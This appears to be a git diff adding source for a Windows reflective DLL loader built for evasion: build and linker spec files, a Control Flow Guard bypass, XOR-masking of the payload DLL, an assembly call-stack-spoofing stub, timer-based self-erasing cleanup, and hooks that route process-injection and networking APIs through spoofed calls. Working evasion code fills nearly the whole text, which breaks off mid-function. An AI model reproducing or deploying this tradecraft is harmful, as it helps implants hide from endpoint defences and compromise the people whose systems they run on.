$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o
|
||||
|
||||
$(NASM) src/draugr.asm -o bin/draugr.x64.bin
|
||||
|
||||
clean:
|
||||
rm -f bin/*
|
||||
Binary file not shown.
@@ -0,0 +1,46 @@
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize
|
||||
|
||||
# merge pic services
|
||||
run "services.spec"
|
||||
|
||||
patch "get_module_handle" $GMH
|
||||
patch "get_proc_address" $GPA
|
||||
|
||||
# merge hooks into the loader
|
||||
load "bin/hooks.x64.o"
|
||||
merge
|
||||
|
||||
# merge call stack spoofing into the loader
|
||||
load "bin/spoof.x64.o"
|
||||
merge
|
||||
|
||||
# load the stack spoofing assembly
|
||||
load "bin/draugr.x64.bin"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
# hook functions that the loader uses
|
||||
attach "KERNEL32$LoadLibraryA" "_LoadLibraryA"
|
||||
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
|
||||
preserve "KERNEL32$LoadLibraryA" "init_frame_info"
|
||||
|
||||
# mask & link the dll
|
||||
generate $MASK 128
|
||||
push $DLL
|
||||
xor $MASK
|
||||
preplen
|
||||
link "dll"
|
||||
|
||||
push $MASK
|
||||
preplen
|
||||
link "mask"
|
||||
|
||||
# now get the tradecraft as a PICO
|
||||
run "pico.spec"
|
||||
link "pico"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,69 @@
|
||||
x64:
|
||||
load "bin/pico.x64.o"
|
||||
make object +disco
|
||||
|
||||
# merge the hook functions
|
||||
load "bin/hooks.x64.o"
|
||||
merge
|
||||
|
||||
# merge the call stack spoofing
|
||||
load "bin/spoof.x64.o"
|
||||
merge
|
||||
|
||||
# merge the asm stub
|
||||
load "bin/draugr.x64.bin"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
# merge mask
|
||||
load "bin/mask.x64.o"
|
||||
merge
|
||||
|
||||
# generate and patch
|
||||
# in a random key
|
||||
generate $KEY 128
|
||||
patch "xorkey" $KEY
|
||||
|
||||
# merge cfg code
|
||||
load "bin/cfg.x64.o"
|
||||
merge
|
||||
|
||||
# merge cleanup
|
||||
load "bin/cleanup.x64.o"
|
||||
merge
|
||||
|
||||
# export setup_hooks and setup_memory
|
||||
exportfunc "setup_hooks" "__tag_setup_hooks"
|
||||
exportfunc "setup_memory" "__tag_setup_memory"
|
||||
|
||||
# hook functions in the DLL
|
||||
addhook "WININET$InternetOpenA" "_InternetOpenA"
|
||||
addhook "WININET$InternetConnectA" "_InternetConnectA"
|
||||
addhook "KERNEL32$CloseHandle" "_CloseHandle"
|
||||
addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA"
|
||||
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
|
||||
addhook "KERNEL32$CreateRemoteThread" "_CreateRemoteThread"
|
||||
addhook "KERNEL32$CreateThread" "_CreateThread"
|
||||
addhook "KERNEL32$DuplicateHandle" "_DuplicateHandle"
|
||||
addhook "KERNEL32$ExitThread" "_ExitThread"
|
||||
addhook "KERNEL32$GetThreadContext" "_GetThreadContext"
|
||||
addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA"
|
||||
addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile"
|
||||
addhook "KERNEL32$OpenProcess" "_OpenProcess"
|
||||
addhook "KERNEL32$OpenThread" "_OpenThread"
|
||||
addhook "KERNEL32$ReadProcessMemory" "_ReadProcessMemory"
|
||||
addhook "KERNEL32$ResumeThread" "_ResumeThread"
|
||||
addhook "KERNEL32$SetThreadContext" "_SetThreadContext"
|
||||
addhook "KERNEL32$Sleep" "_Sleep"
|
||||
addhook "KERNEL32$UnmapViewOfFile" "_UnmapViewOfFile"
|
||||
addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
addhook "KERNEL32$VirtualAllocEx" "_VirtualAllocEx"
|
||||
addhook "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
addhook "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
addhook "KERNEL32$VirtualProtectEx" "_VirtualProtectEx"
|
||||
addhook "KERNEL32$VirtualQuery" "_VirtualQuery"
|
||||
addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory"
|
||||
addhook "OLE32$CoCreateInstance" "_CoCreateInstance"
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,7 @@
|
||||
x64:
|
||||
load "bin/services.x64.o"
|
||||
merge
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
dfr "resolve" "strings"
|
||||
@@ -0,0 +1,78 @@
|
||||
#include <windows.h>
|
||||
#include "cfg.h"
|
||||
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T );
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG );
|
||||
|
||||
BOOL cfg_enabled ( )
|
||||
{
|
||||
EXTENDED_PROCESS_INFORMATION proc_info = { 0 };
|
||||
|
||||
NTSTATUS status = 0;
|
||||
|
||||
proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy;
|
||||
proc_info.ExtendedProcessInfoBuffer = 0;
|
||||
|
||||
status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL );
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return proc_info.ExtendedProcessInfoBuffer;
|
||||
}
|
||||
|
||||
BOOL bypass_cfg ( PVOID address )
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
VM_INFORMATION vmi = { 0 };
|
||||
MEMORY_RANGE_ENTRY mre = { 0 };
|
||||
CFG_CALL_TARGET_INFO cti = { 0 };
|
||||
|
||||
NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 );
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress;
|
||||
cti.Flags = CFG_CALL_TARGET_VALID;
|
||||
|
||||
mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize;
|
||||
mre.VirtualAddress = ( PVOID ) mbi.BaseAddress;
|
||||
|
||||
ULONG output = 0;
|
||||
|
||||
vmi.dwNumberOfOffsets = 0x1;
|
||||
vmi.plOutput = &output;
|
||||
vmi.ptOffsets = &cti;
|
||||
vmi.pMustBeZero = 0x0;
|
||||
vmi.pMoarZero = 0x0;
|
||||
|
||||
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) );
|
||||
|
||||
if ( status == 0xC00000F4 )
|
||||
{
|
||||
/* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */
|
||||
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 );
|
||||
}
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) )
|
||||
{
|
||||
/* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */
|
||||
if ( status == 0xC0000045 )
|
||||
{
|
||||
/* pretend we bypassed it so timers can continue */
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
|
||||
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
|
||||
|
||||
typedef struct {
|
||||
ULONG ExtendedProcessInfo;
|
||||
ULONG ExtendedProcessInfoBuffer;
|
||||
} EXTENDED_PROCESS_INFORMATION;
|
||||
|
||||
typedef enum {
|
||||
ProcessUserModeIOPL = 16,
|
||||
ProcessCookie = 36
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumberOfOffsets;
|
||||
PULONG plOutput;
|
||||
PCFG_CALL_TARGET_INFO ptOffsets;
|
||||
PVOID pMustBeZero;
|
||||
PVOID pMoarZero;
|
||||
} VM_INFORMATION;
|
||||
|
||||
typedef enum {
|
||||
VmPrefetchInformation,
|
||||
VmPagePriorityInformation,
|
||||
VmCfgCallTargetInformation
|
||||
} VIRTUAL_MEMORY_INFORMATION_CLASS;
|
||||
|
||||
typedef struct {
|
||||
PVOID VirtualAddress;
|
||||
SIZE_T NumberOfBytes;
|
||||
} MEMORY_RANGE_ENTRY;
|
||||
|
||||
typedef enum {
|
||||
MemoryBasicInformation
|
||||
} MEMORY_INFORMATION_CLASS;
|
||||
|
||||
BOOL cfg_enabled ( );
|
||||
BOOL bypass_cfg ( PVOID address );
|
||||
@@ -0,0 +1,92 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
#include "cfg.h"
|
||||
#include "spoof.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
|
||||
#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z );
|
||||
|
||||
#define NTDLL_HASH 0x3CFA685D
|
||||
#define VIRTUALFREE_HASH 0x30633AC
|
||||
|
||||
void cleanup_memory ( MEMORY_LAYOUT * memory )
|
||||
{
|
||||
/* is cfg enabled? */
|
||||
BOOL enabled = cfg_enabled ( );
|
||||
|
||||
if ( enabled ) {
|
||||
/* try to bypass it at NtContinue */
|
||||
if ( bypass_cfg ( NTDLL$NtContinue ) ) {
|
||||
enabled = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* just return if we
|
||||
* failed to bypass it
|
||||
*/
|
||||
|
||||
if ( enabled ) {
|
||||
return;
|
||||
}
|
||||
|
||||
/*
|
||||
* crack on and setup a timer
|
||||
* to free the memory regions
|
||||
*/
|
||||
|
||||
CONTEXT ctx = { 0 };
|
||||
ctx.ContextFlags = CONTEXT_ALL;
|
||||
|
||||
HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL;
|
||||
|
||||
if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
|
||||
{
|
||||
/* give RtlCaptureContext a chance to run */
|
||||
KERNEL32$Sleep ( 100 );
|
||||
|
||||
if ( ctx.Rip != 0 )
|
||||
{
|
||||
HANDLE heap = KERNEL32$GetProcessHeap ( );
|
||||
CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 );
|
||||
|
||||
for ( int i = 0; i < 2; i++ ) {
|
||||
memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) );
|
||||
}
|
||||
|
||||
/*
|
||||
* we use VirtualFree here because
|
||||
* the loader uses VirtualAlloc
|
||||
*/
|
||||
|
||||
/* the dll */
|
||||
ctx_free[ 0 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress );
|
||||
ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* this pico */
|
||||
ctx_free[ 1 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress );
|
||||
ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* give a decent delay so ExitThread has time to be called */
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
void cleanup_memory ( MEMORY_LAYOUT * memory );
|
||||
@@ -0,0 +1,147 @@
|
||||
[BITS 64]
|
||||
|
||||
draugr_stub:
|
||||
pop rax ; Real return address in rax
|
||||
|
||||
mov r10, rdi ; Store OG rdi in r10
|
||||
mov r11, rsi ; Store OG rsi in r11
|
||||
|
||||
mov rdi, [ rsp + 32 ] ; Storing struct in rdi
|
||||
mov rsi, [ rsp + 40 ] ; Storing function to call
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Storing our original registers
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
mov [ rdi + 24 ], r10 ; Storing OG rdi into param
|
||||
mov [ rdi + 88 ], r11 ; Storing OG rsi into param
|
||||
mov [ rdi + 96 ], r12 ; Storing OG r12 into param
|
||||
mov [ rdi + 104 ], r13 ; Storing OG r13 into param
|
||||
mov [ rdi + 112 ], r14 ; Storing OG r14 into param
|
||||
mov [ rdi + 120 ], r15 ; Storing OG r15 into param
|
||||
|
||||
mov r12, rax ; OG code used r12 for ret addr
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Prepping to move stack args
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
xor r11, r11 ; r11 will hold the # of args that have been "pushed"
|
||||
mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed
|
||||
|
||||
mov r14, 0x200 ; r14 will hold the offset we need to push stuff
|
||||
add r14, 8
|
||||
add r14, [ rdi + 56 ] ; stack size of RUTS
|
||||
add r14, [ rdi + 48 ] ; stack size of BTIT
|
||||
add r14, [ rdi + 32 ] ; stack size of our gadget frame
|
||||
sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time
|
||||
|
||||
mov r10, rsp
|
||||
add r10, 0x30 ; offset of stack arg added to rsp
|
||||
|
||||
looping:
|
||||
xor r15, r15 ; r15 will hold the offset + rsp base
|
||||
cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add
|
||||
je finish
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Getting location to move the stack arg to
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset.
|
||||
mov r15, rsp ; get current stack base
|
||||
sub r15, r14 ; subtract offset
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Procuring the stack arg
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
add r10, 8
|
||||
|
||||
push qword [ r10 ]
|
||||
pop qword [ r15 ]
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Increment the counter and loop back in case we need more args
|
||||
; ---------------------------------------------------------------------
|
||||
add r11, 1
|
||||
jmp looping
|
||||
|
||||
finish:
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Creating a big 320 byte working space
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, 0x200
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Pushing a 0 to cut off the return addresses after RtlUserThreadStart.
|
||||
; Need to figure out why this cuts off the call stack
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
push 0
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; RtlUserThreadStart + 0x14 frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 56 ]
|
||||
mov r11, [ rdi + 64 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; BaseThreadInitThunk + 0x21 frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 32 ]
|
||||
mov r11, [ rdi + 40 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Gadget frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 48 ]
|
||||
mov r11, [ rdi + 80 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Adjusting the param struct for the fixup
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
mov r11, rsi ; Copying function to call into r11
|
||||
|
||||
mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member
|
||||
mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member
|
||||
lea rbx, [ rel fixup ] ; Fixup address is moved into rbx
|
||||
mov [ rdi ], rbx ; Fixup member now holds the address of Fixup
|
||||
mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Syscall stuff. Shouldn't affect performance even if a syscall isnt made
|
||||
; ----------------------------------------------------------------------
|
||||
mov r10, rcx
|
||||
mov rax, [ rdi + 72 ]
|
||||
|
||||
jmp r11
|
||||
|
||||
fixup:
|
||||
mov rcx, rbx
|
||||
add rsp, 0x200 ; Big frame thing
|
||||
add rsp, [ rbx + 48 ] ; Stack size
|
||||
add rsp, [ rbx + 32 ] ; Stack size
|
||||
add rsp, [ rbx + 56 ] ; Stack size
|
||||
|
||||
mov rbx, [ rcx + 16 ] ; Restoring OG RBX
|
||||
mov rdi, [ rcx + 24 ] ; ReStoring OG rdi
|
||||
mov rsi, [ rcx + 88 ] ; ReStoring OG rsi
|
||||
mov r12, [ rcx + 96 ] ; ReStoring OG r12
|
||||
mov r13, [ rcx + 104 ] ; ReStoring OG r13
|
||||
mov r14, [ rcx + 112 ] ; ReStoring OG r14
|
||||
mov r15, [ rcx + 120 ] ; ReStoring OG r15
|
||||
push rax
|
||||
|
||||
xor rax, rax
|
||||
pop rax
|
||||
jmp QWORD [ rcx + 8 ]
|
||||
@@ -0,0 +1,420 @@
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include <combaseapi.h>
|
||||
#include "tcg.h"
|
||||
#include "memory.h"
|
||||
#include "spoof.h"
|
||||
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR );
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD );
|
||||
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * );
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * );
|
||||
|
||||
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
|
||||
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
|
||||
// cannot put this here because it fails to build
|
||||
// to PIC when hooks.x64.o is merged into the loader
|
||||
// extern MEMORY_LAYOUT g_memory;
|
||||
|
||||
HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WININET$InternetOpenA );
|
||||
call.argc = 5;
|
||||
call.args [ 0 ] = spoof_arg ( lpszAgent );
|
||||
call.args [ 1 ] = spoof_arg ( dwAccessType );
|
||||
call.args [ 2 ] = spoof_arg ( lpszProxy );
|
||||
call.args [ 3 ] = spoof_arg ( lpszProxyBypass );
|
||||
call.args [ 4 ] = spoof_arg ( dwFlags );
|
||||
|
||||
return ( HINTERNET ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WININET$InternetConnectA );
|
||||
call.argc = 8;
|
||||
call.args [ 0 ] = spoof_arg ( hInternet );
|
||||
call.args [ 1 ] = spoof_arg ( lpszServerName );
|
||||
call.args [ 2 ] = spoof_arg ( nServerPort );
|
||||
call.args [ 3 ] = spoof_arg ( lpszUserName );
|
||||
call.args [ 4 ] = spoof_arg ( lpszPassword );
|
||||
call.args [ 5 ] = spoof_arg ( dwService );
|
||||
call.args [ 6 ] = spoof_arg ( dwFlags );
|
||||
call.args [ 7 ] = spoof_arg ( dwContext );
|
||||
|
||||
return ( HINTERNET ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _CloseHandle ( HANDLE hObject )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CloseHandle );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hObject );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateFileMappingA );
|
||||
call.argc = 6;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hFile );
|
||||
call.args [ 1 ] = spoof_arg ( lpFileMappingAttributes );
|
||||
call.args [ 2 ] = spoof_arg ( flProtect );
|
||||
call.args [ 3 ] = spoof_arg ( dwMaximumSizeHigh );
|
||||
call.args [ 4 ] = spoof_arg ( dwMaximumSizeLow );
|
||||
call.args [ 5 ] = spoof_arg ( lpName );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateProcessA );
|
||||
call.argc = 10;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpApplicationName );
|
||||
call.args [ 1 ] = spoof_arg ( lpCommandLine );
|
||||
call.args [ 2 ] = spoof_arg ( lpProcessAttributes );
|
||||
call.args [ 3 ] = spoof_arg ( lpThreadAttributes );
|
||||
call.args [ 4 ] = spoof_arg ( bInheritHandles );
|
||||
call.args [ 5 ] = spoof_arg ( dwCreationFlags );
|
||||
call.args [ 6 ] = spoof_arg ( lpEnvironment );
|
||||
call.args [ 7 ] = spoof_arg ( lpCurrentDirectory );
|
||||
call.args [ 8 ] = spoof_arg ( lpStartupInfo );
|
||||
call.args [ 9 ] = spoof_arg ( lpProcessInformation );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateRemoteThread ( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId )
|
||||
{
|
